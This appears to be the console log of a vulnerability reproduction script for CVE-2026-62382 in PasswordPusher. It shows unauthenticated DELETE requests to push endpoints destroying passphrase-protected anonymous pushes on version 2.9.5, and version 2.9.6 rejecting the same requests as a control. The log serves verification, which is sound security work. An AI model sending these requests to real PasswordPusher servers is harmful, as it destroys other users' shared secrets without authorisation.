[repro] === CVE-2026-62382 reproduction: PasswordPusher anonymous push deletion ===
[repro] Pulling images (cached if present)...
[repro] Starting vulnerable container (pglombardo/pwpush:2.9.5) on port 15100...
[repro] Starting fixed container (pglombardo/pwpush:2.9.6) on port 15101...
[repro] http://127.0.0.1:15100 answering HTTP (status 302)
[repro] http://127.0.0.1:15101 answering HTTP (status 302)
[repro] first-run admin setup completed on http://127.0.0.1:15100
[repro] first-run admin setup completed on http://127.0.0.1:15101
[repro] --- VULNERABLE instance attack (2.9.5) ---
[repro] [vuln] created anonymous push url_token=en5sqkyesyxzn0e deletable_by_viewer=false passphrase set
[repro] [vuln] read without passphrase -> HTTP 401
[repro] [vuln] unauthenticated DELETE /p/en5sqkyesyxzn0e.json -> HTTP 200
[repro] [vuln] read after delete: {"expire_after_views":5,"expired":true,"url_token":"en5sqkyesyxzn0e","deletable_by_viewer":false,"retrieval_step":true,"expired_on":"2026-08-23T05:48:33.019Z","passphrase":null,"created_at":"2026-08-23T05:48:32.913Z","updated_at":"2026-08-23T05:48:33.027Z","expire_after_days":7,"days_remaining":7,"views_remaining":4,"deleted":true,"json_url":"http://127.0.0.1:15100/p/en5sqkyesyxzn0e/r.json","html_
[repro] --- VULNERABLE instance: HTML expire route (secondary) ---
POST /p.json created token=kyfgla5ncwsgegumcg (deletable_by_viewer=false)
DELETE /p/kyfgla5ncwsgegumcg/expire -> HTTP 302
POST   /p/kyfgla5ncwsgegumcg/expire -> HTTP 404
read after: {"expired":true,"deleted":true,"payload":null}
[repro] --- FIXED instance negative control (2.9.6) ---
[repro] [fixed] created anonymous push url_token=hpmn0rntpqp7llhvclm deletable_by_viewer=false passphrase set
[repro] [fixed] read without passphrase -> HTTP 401
[repro] [fixed] unauthenticated DELETE /p/hpmn0rntpqp7llhvclm.json -> HTTP 401
[repro] [fixed] read after delete: {"expire_after_views":5,"expired":false,"url_token":"hpmn0rntpqp7llhvclm","deletable_by_viewer":false,"retrieval_step":true,"expired_on":null,"passphrase":"s3cr3t","created_at":"2026-08-23T05:48:33.351Z","updated_at":"2026-08-23T05:48:33.351Z","expire_after_days":7,"days_remaining":7,"views_remaining":4,"deleted":false,"json_url":"http://127.0.0.1:15101/p/hpmn0rntpqp7llhvclm/r.json","html_url":"ht
[repro] vuln:  DELETE=200 expired=true deleted=true payload=null
[repro] fixed: DELETE=401 expired=false payload=SUPER-SECRET-CVE-2026-62382
[repro] VULNERABLE CONFIRMED: unauthenticated DELETE destroyed the anonymous push (deletable_by_viewer=false, unknown passphrase).
[repro] FIXED CONTROL PASSED: 2.9.6 rejected the unauthenticated DELETE and the payload survived.
[repro] RESULT: CVE-2026-62382 CONFIRMED (vuln exploited, fixed rejected).